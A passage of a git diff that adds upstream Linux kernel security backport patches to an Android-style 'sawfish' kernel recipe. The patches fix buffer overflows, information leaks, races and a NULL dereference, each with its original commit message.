OUT_BUFFER_SIZE, count); ++ return 0; ++ } + snprintf(out_buffer, OUT_BUFFER_SIZE, "%ld,%ld,%ld,%ld,%ld,%ld,",\ + out_cold_tv.tv_sec, out_cold_tv.tv_usec, out_warm_tv.tv_sec,\ + out_warm_tv.tv_usec, out_cont_tv.tv_sec, out_cont_tv.tv_usec); +@@ -201,6 +206,11 @@ static ssize_t audio_input_latency_dbgfs_read(struct file *file, + pr_err("%s: in_buffer is null\n", __func__); + return 0; + } ++ if (count < IN_BUFFER_SIZE) { ++ pr_err("%s: read size %d exceeds buf size %zd\n", __func__, ++ IN_BUFFER_SIZE, count); ++ return 0; ++ } + snprintf(in_buffer, IN_BUFFER_SIZE, "%ld,%ld,",\ + in_cont_tv.tv_sec, in_cont_tv.tv_usec); + return simple_read_from_buffer(buf, IN_BUFFER_SIZE, ppos, +-- +cgit v1.1 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0393.diff b/recipes-kernel/linux/linux-sawfish/autopatcher/0393.diff new file mode 100644 index 0000000..7c1323b --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0393.diff @@ -0,0 +1,29 @@ +diff --git a/drivers/char/diag/diag_dci.c b/drivers/char/diag/diag_dci.c +index 4a83fc5..157a820 100644 +--- a/drivers/char/diag/diag_dci.c ++++ b/drivers/char/diag/diag_dci.c +@@ -843,11 +843,11 @@ + { + struct diag_ctrl_dci_status *header = NULL; + unsigned char *temp = buf; +- uint32_t read_len = 0; ++ unsigned int read_len = 0; + uint8_t i; + int peripheral_mask, status; + +- if (!buf || (len < sizeof(struct diag_ctrl_dci_status))) { ++ if (!buf || (len < 2) || (len < sizeof(struct diag_ctrl_dci_status))) { + pr_err("diag: In %s, invalid buf %pK or length: %d\n", + __func__, buf, len); + return; +@@ -905,7 +905,9 @@ + unsigned char *temp = buf; + int err = 0; + +- if (!buf || (len < sizeof(struct diag_ctrl_dci_handshake_pkt))) ++ if (!buf) ++ return; ++ if (len < 0 || len < sizeof(struct diag_ctrl_dci_handshake_pkt)) + return; + + if (!VALID_DCI_TOKEN(token)) diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0394.diff b/recipes-kernel/linux/linux-sawfish/autopatcher/0394.diff new file mode 100644 index 0000000..e5de4c8 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0394.diff @@ -0,0 +1,16 @@ +diff --git a/drivers/power/qcom/lpm-stats.c b/drivers/power/qcom/lpm-stats.c +index 7f1967d..4bbc3db 100644 +--- a/drivers/power/qcom/lpm-stats.c ++++ b/drivers/power/qcom/lpm-stats.c +@@ -682,9 +682,10 @@ + { + struct list_head *centry = NULL; + struct lpm_stats *pos = NULL; ++ struct lpm_stats *n = NULL; + + centry = &stats->child; +- list_for_each_entry_reverse(pos, centry, sibling) { ++ list_for_each_entry_safe_reverse(pos, n, centry, sibling) { + if (!list_empty(&pos->child)) + cleanup_stats(pos); + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0395-28e5918c60b8-msm mdss Fix for wrong length in copytouser.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0395-28e5918c60b8-msm mdss Fix for wrong length in copytouser.patch new file mode 100644 index 0000000..b3278ab --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0395-28e5918c60b8-msm mdss Fix for wrong length in copytouser.patch @@ -0,0 +1,31 @@ +From 28e5918c60b832091c6b3618747258803cbd3302 Mon Sep 17 00:00:00 2001 +From: Rashi Bindra +Date: Mon, 19 Mar 2018 14:07:27 +0530 +Subject: msm: mdss: Fix for wrong length in copy_to_user + +The caller could have a small buf passed (less then < blen). +Since, the length of count and blen is not checked, it can +write beyond the end of buf. + +Change-Id: I9138cd742b6166937f3cc1cbf1af36f280c94bdb +Signed-off-by: Rashi Bindra +--- + drivers/video/msm/mdss/mdss_dsi.c | 2 +- + 1 file changed, 1 insertion(+), 1 deletion(-) + +diff --git a/drivers/video/msm/mdss/mdss_dsi.c b/drivers/video/msm/mdss/mdss_dsi.c +index 0abd398..dae835a 100644 +--- a/drivers/video/msm/mdss/mdss_dsi.c ++++ b/drivers/video/msm/mdss/mdss_dsi.c +@@ -661,7 +661,7 @@ static ssize_t mdss_dsi_cmd_state_read(struct file *file, char __user *buf, + if (blen < 0) + return 0; + +- if (copy_to_user(buf, buffer, blen)) ++ if (copy_to_user(buf, buffer, min(count, (size_t)blen+1))) + return -EFAULT; + + *ppos += blen; +-- +cgit v1.1 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0396-b67e04e3696f-msm mdss check buffer size before writing to user buffer.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0396-b67e04e3696f-msm mdss check buffer size before writing to user buffer.patch new file mode 100644 index 0000000..43eb4db --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0396-b67e04e3696f-msm mdss check buffer size before writing to user buffer.patch @@ -0,0 +1,39 @@ +From b67e04e3696f05411b7434c8b194895d273b00c5 Mon Sep 17 00:00:00 2001 +From: Harsh Sahu +Date: Fri, 23 Mar 2018 00:15:52 -0700 +Subject: msm: mdss: check buffer size before writing to user buffer + +Check the number of bytes to copy against the size of the +user buffer before copy to user to avoid buffer overflow. + +Change-Id: Icdd3d4e755deca19fa431e903620bd9e4c701c89 +Signed-off-by: Harsh Sahu +--- + drivers/video/msm/mdss/mdss_debug_xlog.c | 7 ++++++- + 1 file changed, 6 insertions(+), 1 deletion(-) + +diff --git a/drivers/video/msm/mdss/mdss_debug_xlog.c b/drivers/video/msm/mdss/mdss_debug_xlog.c +index 375dc47..2efa439 100644 +--- a/drivers/video/msm/mdss/mdss_debug_xlog.c ++++ b/drivers/video/msm/mdss/mdss_debug_xlog.c +@@ -1,4 +1,4 @@ +-/* Copyright (c) 2014-2016, The Linux Foundation. All rights reserved. ++/* Copyright (c) 2014-2016, 2018, The Linux Foundation. All rights reserved. + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License version 2 and +@@ -683,6 +683,11 @@ static ssize_t mdss_xlog_dump_read(struct file *file, char __user *buff, + + if (__mdss_xlog_dump_calc_range()) { + len = mdss_xlog_dump_entry(xlog_buf, MDSS_XLOG_BUF_MAX); ++ if (len < 0 || len > count) { ++ pr_err("len is more than the size of user buffer\n"); ++ return 0; ++ } ++ + if (copy_to_user(buff, xlog_buf, len)) + return -EFAULT; + *ppos += len; +-- +cgit v1.1 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0397-fa3ec41ea511-swiotlb clean up reporting.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0397-fa3ec41ea511-swiotlb clean up reporting.patch new file mode 100644 index 0000000..4a4f453 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0397-fa3ec41ea511-swiotlb clean up reporting.patch @@ -0,0 +1,82 @@ +From fa3ec41ea511910599838a1fe8820e31ef85efdd Mon Sep 17 00:00:00 2001 +From: Kees Cook +Date: Tue, 10 Jul 2018 16:22:22 -0700 +Subject: swiotlb: clean up reporting + +commit 7d63fb3af87aa67aa7d24466e792f9d7c57d8e79 upstream. + +This removes needless use of '%p', and refactors the printk calls to +use pr_*() helpers instead. + +Signed-off-by: Kees Cook +Reviewed-by: Konrad Rzeszutek Wilk +Signed-off-by: Christoph Hellwig +[bwh: Backported to 4.4: + - Adjust filename + - Remove "swiotlb: " prefix from an additional log message] +Signed-off-by: Ben Hutchings +Signed-off-by: Greg Kroah-Hartman +--- + lib/swiotlb.c | 18 ++++++++---------- + 1 file changed, 8 insertions(+), 10 deletions(-) + +diff --git a/lib/swiotlb.c b/lib/swiotlb.c +index 4abda074ea458..54179db71ab42 100644 +--- a/lib/swiotlb.c ++++ b/lib/swiotlb.c +@@ -17,6 +17,8 @@ + * 08/12/11 beckyb Add highmem support + */ + ++#define pr_fmt(fmt) "software IO TLB: " fmt ++ + #include + #include + #include +@@ -143,20 +145,16 @@ static bool no_iotlb_memory; + void swiotlb_print_info(void) + { + unsigned long bytes = io_tlb_nslabs << IO_TLB_SHIFT; +- unsigned char *vstart, *vend; + + if (no_iotlb_memory) { +- pr_warn("software IO TLB: No low mem\n"); ++ pr_warn("No low mem\n"); + return; + } + +- vstart = phys_to_virt(io_tlb_start); +- vend = phys_to_virt(io_tlb_end); +- +- printk(KERN_INFO "software IO TLB [mem %#010llx-%#010llx] (%luMB) mapped at [%p-%p]\n", ++ pr_info("mapped [mem %#010llx-%#010llx] (%luMB)\n", + (unsigned long long)io_tlb_start, + (unsigned long long)io_tlb_end, +- bytes >> 20, vstart, vend - 1); ++ bytes >> 20); + } + + int __init swiotlb_init_with_tbl(char *tlb, unsigned long nslabs, int verbose) +@@ -230,7 +228,7 @@ swiotlb_init(int verbose) + if (io_tlb_start) + memblock_free_early(io_tlb_start, + PAGE_ALIGN(io_tlb_nslabs << IO_TLB_SHIFT)); +- pr_warn("Cannot allocate SWIOTLB buffer"); ++ pr_warn("Cannot allocate buffer"); + no_iotlb_memory = true; + } + +@@ -272,8 +270,8 @@ swiotlb_late_init_with_default_size(size_t default_size) + return -ENOMEM; + } + if (order != get_order(bytes)) { +- printk(KERN_WARNING "Warning: only able to allocate %ld MB " +- "for software IO TLB\n", (PAGE_SIZE << order) >> 20); ++ pr_warn("only able to allocate %ld MB\n", ++ (PAGE_SIZE << order) >> 20); + io_tlb_nslabs = SLABS_PER_PAGE << order; + } + rc = swiotlb_late_init_with_tbl(vstart, io_tlb_nslabs); +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0398-db57535b77b8-fbdev Fixing arbitrary kernel leak in case FBIOGETCMAPSPARC in.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0398-db57535b77b8-fbdev Fixing arbitrary kernel leak in case FBIOGETCMAPSPARC in.patch new file mode 100644 index 0000000..f75ba25 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0398-db57535b77b8-fbdev Fixing arbitrary kernel leak in case FBIOGETCMAPSPARC in.patch @@ -0,0 +1,67 @@ +From db57535b77b8de5646291f368f50f9494800bff5 Mon Sep 17 00:00:00 2001 +From: Peter Malone +Date: Wed, 7 Mar 2018 14:00:34 +0100 +Subject: fbdev: Fixing arbitrary kernel leak in case FBIOGETCMAP_SPARC in + sbusfb_ioctl_helper(). + +[ Upstream commit 250c6c49e3b68756b14983c076183568636e2bde ] + +Fixing arbitrary kernel leak in case FBIOGETCMAP_SPARC in +sbusfb_ioctl_helper(). + +'index' is defined as an int in sbusfb_ioctl_helper(). +We retrieve this from the user: +if (get_user(index, &c->index) || + __get_user(count, &c->count) || + __get_user(ured, &c->red) || + __get_user(ugreen, &c->green) || + __get_user(ublue, &c->blue)) + return -EFAULT; + +and then we use 'index' in the following way: +red = cmap->red[index + i] >> 8; +green = cmap->green[index + i] >> 8; +blue = cmap->blue[index + i] >> 8; + +This is a classic information leak vulnerability. 'index' should be +an unsigned int, given its usage above. + +This patch is straight-forward; it changes 'index' to unsigned int +in two switch-cases: FBIOGETCMAP_SPARC && FBIOPUTCMAP_SPARC. + +This patch fixes CVE-2018-6412. + +Signed-off-by: Peter Malone +Acked-by: Mathieu Malaterre +Signed-off-by: Bartlomiej Zolnierkiewicz +Signed-off-by: Sasha Levin +Signed-off-by: Greg Kroah-Hartman +--- + drivers/video/fbdev/sbuslib.c | 4 ++-- + 1 file changed, 2 insertions(+), 2 deletions(-) + +diff --git a/drivers/video/fbdev/sbuslib.c b/drivers/video/fbdev/sbuslib.c +index a350209ffbd3..31c301d6be62 100644 +--- a/drivers/video/fbdev/sbuslib.c ++++ b/drivers/video/fbdev/sbuslib.c +@@ -121,7 +121,7 @@ int sbusfb_ioctl_helper(unsigned long cmd, unsigned long arg, + unsigned char __user *ured; + unsigned char __user *ugreen; + unsigned char __user *ublue; +- int index, count, i; ++ unsigned int index, count, i; + + if (get_user(index, &c->index) || + __get_user(count, &c->count) || +@@ -160,7 +160,7 @@ int sbusfb_ioctl_helper(unsigned long cmd, unsigned long arg, + unsigned char __user *ugreen; + unsigned char __user *ublue; + struct fb_cmap *cmap = &info->cmap; +- int index, count, i; ++ unsigned int index, count, i; + u8 red, green, blue; + + if (get_user(index, &c->index) || +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0399-ad211e59c683-futex Prevent overflow by strengthen input validation.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0399-ad211e59c683-futex Prevent overflow by strengthen input validation.patch new file mode 100644 index 0000000..10999f7 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0399-ad211e59c683-futex Prevent overflow by strengthen input validation.patch @@ -0,0 +1,42 @@ +From ad211e59c68389b9203f3834c65da7bfe9e6874a Mon Sep 17 00:00:00 2001 +From: Li Jinyue +Date: Thu, 14 Dec 2017 17:04:54 +0800 +Subject: futex: Prevent overflow by strengthen input validation + +commit fbe0e839d1e22d88810f3ee3e2f1479be4c0aa4a upstream. + +UBSAN reports signed integer overflow in kernel/futex.c: + + UBSAN: Undefined behaviour in kernel/futex.c:2041:18 + signed integer overflow: + 0 - -2147483648 cannot be represented in type 'int' + +Add a sanity check to catch negative values of nr_wake and nr_requeue. + +Signed-off-by: Li Jinyue +Signed-off-by: Thomas Gleixner +Cc: peterz@infradead.org +Cc: dvhart@infradead.org +Link: https://lkml.kernel.org/r/1513242294-31786-1-git-send-email-lijinyue@huawei.com +Signed-off-by: Greg Kroah-Hartman +--- + kernel/futex.c | 3 +++ + 1 file changed, 3 insertions(+) + +diff --git a/kernel/futex.c b/kernel/futex.c +index 54ebb63711f44..168f369c5eeaf 100644 +--- a/kernel/futex.c ++++ b/kernel/futex.c +@@ -1514,6 +1514,9 @@ static int futex_requeue(u32 __user *uaddr1, unsigned int flags, + struct futex_hash_bucket *hb1, *hb2; + struct futex_q *this, *next; + ++ if (nr_wake < 0 || nr_requeue < 0) ++ return -EINVAL; ++ + if (requeue_pi) { + /* + * Requeue PI only works on two distinct uaddrs. This +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0400-638c8339e05e-tun call devgetvalidname before registernetdevice.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0400-638c8339e05e-tun call devgetvalidname before registernetdevice.patch new file mode 100644 index 0000000..b9245b6 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0400-638c8339e05e-tun call devgetvalidname before registernetdevice.patch @@ -0,0 +1,88 @@ +From 638c8339e05eb7eee584dfe4b3102376cf35664b Mon Sep 17 00:00:00 2001 +From: Cong Wang +Date: Fri, 13 Oct 2017 11:58:53 -0700 +Subject: tun: call dev_get_valid_name() before register_netdevice() + +[ Upstream commit 0ad646c81b2182f7fa67ec0c8c825e0ee165696d ] + +register_netdevice() could fail early when we have an invalid +dev name, in which case ->ndo_uninit() is not called. For tun +device, this is a problem because a timer etc. are already +initialized and it expects ->ndo_uninit() to clean them up. + +We could move these initializations into a ->ndo_init() so +that register_netdevice() knows better, however this is still +complicated due to the logic in tun_detach(). + +Therefore, I choose to just call dev_get_valid_name() before +register_netdevice(), which is quicker and much easier to audit. +And for this specific case, it is already enough. + +Fixes: 96442e42429e ("tuntap: choose the txq based on rxq") +Reported-by: Dmitry Alexeev +Cc: Jason Wang +Cc: "Michael S. Tsirkin" +Signed-off-by: Cong Wang +Signed-off-by: David S. Miller +Signed-off-by: Greg Kroah-Hartman +--- + drivers/net/tun.c | 3 +++ + include/linux/netdevice.h | 3 +++ + net/core/dev.c | 6 +++--- + 3 files changed, 9 insertions(+), 3 deletions(-) + +diff --git a/drivers/net/tun.c b/drivers/net/tun.c +index cd0fbf9b0a22d..cd6b6d3fd4e2c 100644 +--- a/drivers/net/tun.c ++++ b/drivers/net/tun.c +@@ -1656,6 +1656,9 @@ static int tun_set_iff(struct net *net, struct file *file, struct ifreq *ifr) + + if (!dev) + return -ENOMEM; ++ err = dev_get_valid_name(net, dev, name); ++ if (err) ++ goto err_free_dev; + + dev_net_set(dev, net); + dev->rtnl_link_ops = &tun_link_ops; +diff --git a/include/linux/netdevice.h b/include/linux/netdevice.h +index 49ac10f99da0e..de98fd0fc5b03 100644 +--- a/include/linux/netdevice.h ++++ b/include/linux/netdevice.h +@@ -3245,6 +3245,9 @@ struct net_device *alloc_netdev_mqs(int sizeof_priv, const char *name, + unsigned char name_assign_type, + void (*setup)(struct net_device *), + unsigned int txqs, unsigned int rxqs); ++int dev_get_valid_name(struct net *net, struct net_device *dev, ++ const char *name); ++ + #define alloc_netdev(sizeof_priv, name, name_assign_type, setup) \ + alloc_netdev_mqs(sizeof_priv, name, name_assign_type, setup, 1, 1) + +diff --git a/net/core/dev.c b/net/core/dev.c +index 21b0bd976699d..93e36e9102e96 100644 +--- a/net/core/dev.c ++++ b/net/core/dev.c +@@ -1059,9 +1059,8 @@ static int dev_alloc_name_ns(struct net *net, + return ret; + } + +-static int dev_get_valid_name(struct net *net, +- struct net_device *dev, +- const char *name) ++int dev_get_valid_name(struct net *net, struct net_device *dev, ++ const char *name) + { + BUG_ON(!net); + +@@ -1077,6 +1076,7 @@ static int dev_get_valid_name(struct net *net, + + return 0; + } ++EXPORT_SYMBOL(dev_get_valid_name); + + /** + * dev_change_name - change name of a device +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0401-0e14c4680810-tun allow positive return values on devgetvalidname call.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0401-0e14c4680810-tun allow positive return values on devgetvalidname call.patch new file mode 100644 index 0000000..2a77521 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0401-0e14c4680810-tun allow positive return values on devgetvalidname call.patch @@ -0,0 +1,38 @@ +From 0e14c46808100ab64d3c935de776afb0ed7f0550 Mon Sep 17 00:00:00 2001 +From: Julien Gomes +Date: Wed, 25 Oct 2017 11:50:50 -0700 +Subject: tun: allow positive return values on dev_get_valid_name() call + +[ Upstream commit 5c25f65fd1e42685f7ccd80e0621829c105785d9 ] + +If the name argument of dev_get_valid_name() contains "%d", it will try +to assign it a unit number in __dev__alloc_name() and return either the +unit number (>= 0) or an error code (< 0). +Considering positive values as error values prevent tun device creations +relying this mechanism, therefor we should only consider negative values +as errors here. + +Signed-off-by: Julien Gomes +Acked-by: Cong Wang +Signed-off-by: David S. Miller +Signed-off-by: Greg Kroah-Hartman +--- + drivers/net/tun.c | 2 +- + 1 file changed, 1 insertion(+), 1 deletion(-) + +diff --git a/drivers/net/tun.c b/drivers/net/tun.c +index cd6b6d3fd4e2c..3067f840210e5 100644 +--- a/drivers/net/tun.c ++++ b/drivers/net/tun.c +@@ -1657,7 +1657,7 @@ static int tun_set_iff(struct net *net, struct file *file, struct ifreq *ifr) + if (!dev) + return -ENOMEM; + err = dev_get_valid_name(net, dev, name); +- if (err) ++ if (err < 0) + goto err_free_dev; + + dev_net_set(dev, net); +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0402-6d40c9bf5733-rds Fix NULL pointer dereference in rdsrdmamap.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0402-6d40c9bf5733-rds Fix NULL pointer dereference in rdsrdmamap.patch new file mode 100644 index 0000000..97bfdc6 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0402-6d40c9bf5733-rds Fix NULL pointer dereference in rdsrdmamap.patch @@ -0,0 +1,94 @@ +From 6d40c9bf5733c9c6db79e0e6d398371955b525af Mon Sep 17 00:00:00 2001 +From: =?UTF-8?q?H=C3=A5kon=20Bugge?= +Date: Wed, 6 Dec 2017 17:18:28 +0100 +Subject: rds: Fix NULL pointer dereference in __rds_rdma_map +MIME-Version: 1.0 +Content-Type: text/plain; charset=UTF-8 +Content-Transfer-Encoding: 8bit + +[ Upstream commit f3069c6d33f6ae63a1668737bc78aaaa51bff7ca ] + +This is a fix for syzkaller719569, where memory registration was +attempted without any underlying transport being loaded. + +Analysis of the case reveals that it is the setsockopt() RDS_GET_MR +(2) and RDS_GET_MR_FOR_DEST (7) that are vulnerable. + +Here is an example stack trace when the bug is hit: + +BUG: unable to handle kernel NULL pointer dereference at 00000000000000c0 +IP: __rds_rdma_map+0x36/0x440 [rds] +PGD 2f93d03067 P4D 2f93d03067 PUD 2f93d02067 PMD 0 +Oops: 0000 [#1] SMP +Modules linked in: bridge stp llc tun rpcsec_gss_krb5 nfsv4 +dns_resolver nfs fscache rds binfmt_misc sb_edac intel_powerclamp +coretemp kvm_intel kvm irqbypass crct10dif_pclmul c rc32_pclmul +ghash_clmulni_intel pcbc aesni_intel crypto_simd glue_helper cryptd +iTCO_wdt mei_me sg iTCO_vendor_support ipmi_si mei ipmi_devintf nfsd +shpchp pcspkr i2c_i801 ioatd ma ipmi_msghandler wmi lpc_ich mfd_core +auth_rpcgss nfs_acl lockd grace sunrpc ip_tables ext4 mbcache jbd2 +mgag200 i2c_algo_bit drm_kms_helper ixgbe syscopyarea ahci sysfillrect +sysimgblt libahci mdio fb_sys_fops ttm ptp libata sd_mod mlx4_core drm +crc32c_intel pps_core megaraid_sas i2c_core dca dm_mirror +dm_region_hash dm_log dm_mod +CPU: 48 PID: 45787 Comm: repro_set2 Not tainted 4.14.2-3.el7uek.x86_64 #2 +Hardware name: Oracle Corporation ORACLE SERVER X5-2L/ASM,MOBO TRAY,2U, BIOS 31110000 03/03/2017 +task: ffff882f9190db00 task.stack: ffffc9002b994000 +RIP: 0010:__rds_rdma_map+0x36/0x440 [rds] +RSP: 0018:ffffc9002b997df0 EFLAGS: 00010202 +RAX: 0000000000000000 RBX: ffff882fa2182580 RCX: 0000000000000000 +RDX: 0000000000000000 RSI: ffffc9002b997e40 RDI: ffff882fa2182580 +RBP: ffffc9002b997e30 R08: 0000000000000000 R09: 0000000000000002 +R10: ffff885fb29e3838 R11: 0000000000000000 R12: ffff882fa2182580 +R13: ffff882fa2182580 R14: 0000000000000002 R15: 0000000020000ffc +FS: 00007fbffa20b700(0000) GS:ffff882fbfb80000(0000) knlGS:0000000000000000 +CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 +CR2: 00000000000000c0 CR3: 0000002f98a66006 CR4: 00000000001606e0 +Call Trace: + rds_get_mr+0x56/0x80 [rds] + rds_setsockopt+0x172/0x340 [rds] + ? __fget_light+0x25/0x60 + ? __fdget+0x13/0x20 + SyS_setsockopt+0x80/0xe0 + do_syscall_64+0x67/0x1b0 + entry_SYSCALL64_slow_path+0x25/0x25 +RIP: 0033:0x7fbff9b117f9 +RSP: 002b:00007fbffa20aed8 EFLAGS: 00000293 ORIG_RAX: 0000000000000036 +RAX: ffffffffffffffda RBX: 00000000000c84a4 RCX: 00007fbff9b117f9 +RDX: 0000000000000002 RSI: 0000400000000114 RDI: 000000000000109b +RBP: 00007fbffa20af10 R08: 0000000000000020 R09: 00007fbff9dd7860 +R10: 0000000020000ffc R11: 0000000000000293 R12: 0000000000000000 +R13: 00007fbffa20b9c0 R14: 00007fbffa20b700 R15: 0000000000000021 + +Code: 41 56 41 55 49 89 fd 41 54 53 48 83 ec 18 8b 87 f0 02 00 00 48 +89 55 d0 48 89 4d c8 85 c0 0f 84 2d 03 00 00 48 8b 87 00 03 00 00 <48> +83 b8 c0 00 00 00 00 0f 84 25 03 00 0 0 48 8b 06 48 8b 56 08 + +The fix is to check the existence of an underlying transport in +__rds_rdma_map(). + +Signed-off-by: Håkon Bugge +Reported-by: syzbot +Acked-by: Santosh Shilimkar +Signed-off-by: David S. Miller +Signed-off-by: Greg Kroah-Hartman +--- + net/rds/rdma.c | 2 +- + 1 file changed, 1 insertion(+), 1 deletion(-) + +diff --git a/net/rds/rdma.c b/net/rds/rdma.c +index 3738b1920c098..612c3050d5149 100644 +--- a/net/rds/rdma.c ++++ b/net/rds/rdma.c +@@ -184,7 +184,7 @@ static int __rds_rdma_map(struct rds_sock *rs, struct rds_get_mr_args *args, + long i; + int ret; + +- if (rs->rs_bound_addr == 0) { ++ if (rs->rs_bound_addr == 0 || !rs->rs_transport) { + ret = -ENOTCONN; /* XXX not a great errno */ + goto out; + } +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0403-667768364865-ALSA seq Fix racy pool initializations.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0403-667768364865-ALSA seq Fix racy pool initializations.patch new file mode 100644 index 0000000..63ff258 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0403-667768364865-ALSA seq Fix racy pool initializations.patch @@ -0,0 +1,62 @@ +From 66776836486554f2767e04a6e196e9af69f13677 Mon Sep 17 00:00:00 2001 +From: Takashi Iwai +Date: Mon, 12 Feb 2018 15:20:51 +0100 +Subject: ALSA: seq: Fix racy pool initializations +MIME-Version: 1.0 +Content-Type: text/plain; charset=UTF-8 +Content-Transfer-Encoding: 8bit + +commit d15d662e89fc667b90cd294b0eb45694e33144da upstream. + +ALSA sequencer core initializes the event pool on demand by invoking +snd_seq_pool_init() when the first write happens and the pool is +empty. Meanwhile user can reset the pool size manually via ioctl +concurrently, and this may lead to UAF or out-of-bound accesses since +the function tries to vmalloc / vfree the buffer. + +A simple fix is to just wrap the snd_seq_pool_init() call with the +recently introduced client->ioctl_mutex; as the calls for +snd_seq_pool_init() from other side are always protected with this +mutex, we can avoid the race. + +Reported-by: 范龙飞 +Cc: +Signed-off-by: Takashi Iwai +Signed-off-by: Greg Kroah-Hartman +--- + sound/core/seq/seq_clientmgr.c | 8 ++++++-- + 1 file changed, 6 insertions(+), 2 deletions(-) + +diff --git a/sound/core/seq/seq_clientmgr.c b/sound/core/seq/seq_clientmgr.c +index 8923f7e69efc..dee6691013c1 100644 +--- a/sound/core/seq/seq_clientmgr.c ++++ b/sound/core/seq/seq_clientmgr.c +@@ -1012,7 +1012,7 @@ static ssize_t snd_seq_write(struct file *file, const char __user *buf, + { + struct snd_seq_client *client = file->private_data; + int written = 0, len; +- int err = -EINVAL; ++ int err; + struct snd_seq_event event; + + if (!(snd_seq_file_flags(file) & SNDRV_SEQ_LFLG_OUTPUT)) +@@ -1027,11 +1027,15 @@ static ssize_t snd_seq_write(struct file *file, const char __user *buf, + + /* allocate the pool now if the pool is not allocated yet */ + if (client->pool->size > 0 && !snd_seq_write_pool_allocated(client)) { +- if (snd_seq_pool_init(client->pool) < 0) ++ mutex_lock(&client->ioctl_mutex); ++ err = snd_seq_pool_init(client->pool); ++ mutex_unlock(&client->ioctl_mutex); ++ if (err < 0) + return -ENOMEM; + } + + /* only process whole events */ ++ err = -EINVAL; + while (count >= sizeof(struct snd_seq_event)) { + /* Read in the event header from the user */ + len = sizeof(event); +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0404-0facefd1d7db-floppy Do not copy a kernel pointer to user memory in FDGETPRM ioctl.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0404-0facefd1d7db-floppy Do not copy a kernel pointer to user memory in FDGETPRM ioctl.patch new file mode 100644 index 0000000..f5b4d51 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0404-0facefd1d7db-floppy Do not copy a kernel pointer to user memory in FDGETPRM ioctl.patch @@ -0,0 +1,48 @@ +From 0facefd1d7db43e1c220405ca773adb7b97975a6 Mon Sep 17 00:00:00 2001 +From: Andy Whitcroft +Date: Thu, 20 Sep 2018 09:09:48 -0600 +Subject: floppy: Do not copy a kernel pointer to user memory in FDGETPRM ioctl + +commit 65eea8edc315589d6c993cf12dbb5d0e9ef1fe4e upstream. + +The final field of a floppy_struct is the field "name", which is a pointer +to a string in kernel memory. The kernel pointer should not be copied to +user memory. The FDGETPRM ioctl copies a floppy_struct to user memory, +including this "name" field. This pointer cannot be used by the user +and it will leak a kernel address to user-space, which will reveal the +location of kernel code and data and undermine KASLR protection. + +Model this code after the compat ioctl which copies the returned data +to a previously cleared temporary structure on the stack (excluding the +name pointer) and copy out to userspace from there. As we already have +an inparam union with an appropriate member and that memory is already +cleared even for read only calls make use of that as a temporary store. + +Based on an initial patch by Brian Belleville. + +CVE-2018-7755 +Signed-off-by: Andy Whitcroft +Broke up long line. +Signed-off-by: Jens Axboe +Signed-off-by: Greg Kroah-Hartman +--- + drivers/block/floppy.c | 3 +++ + 1 file changed, 3 insertions(+) + +diff --git a/drivers/block/floppy.c b/drivers/block/floppy.c +index 56d46ffb08e1..f824836d2e7a 100644 +--- a/drivers/block/floppy.c ++++ b/drivers/block/floppy.c +@@ -3459,6 +3459,9 @@ static int fd_locked_ioctl(struct block_device *bdev, fmode_t mode, unsigned int + (struct floppy_struct **)&outparam); + if (ret) + return ret; ++ memcpy(&inparam.g, outparam, ++ offsetof(struct floppy_struct, name)); ++ outparam = &inparam.g; + break; + case FDMSGON: + UDP->flags |= FTD_MSG; +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0405-c7323e939326-scsi libsas fix memory leak in sassmpgetphyevents.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0405-c7323e939326-scsi libsas fix memory leak in sassmpgetphyevents.patch new file mode 100644 index 0000000..483f024 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0405-c7323e939326-scsi libsas fix memory leak in sassmpgetphyevents.patch @@ -0,0 +1,44 @@ +From c7323e9393266e6227540f906d74a6c55be39f37 Mon Sep 17 00:00:00 2001 +From: Jason Yan +Date: Thu, 4 Jan 2018 21:04:31 +0800 +Subject: scsi: libsas: fix memory leak in sas_smp_get_phy_events() + +[ Upstream commit 4a491b1ab11ca0556d2fda1ff1301e862a2d44c4 ] 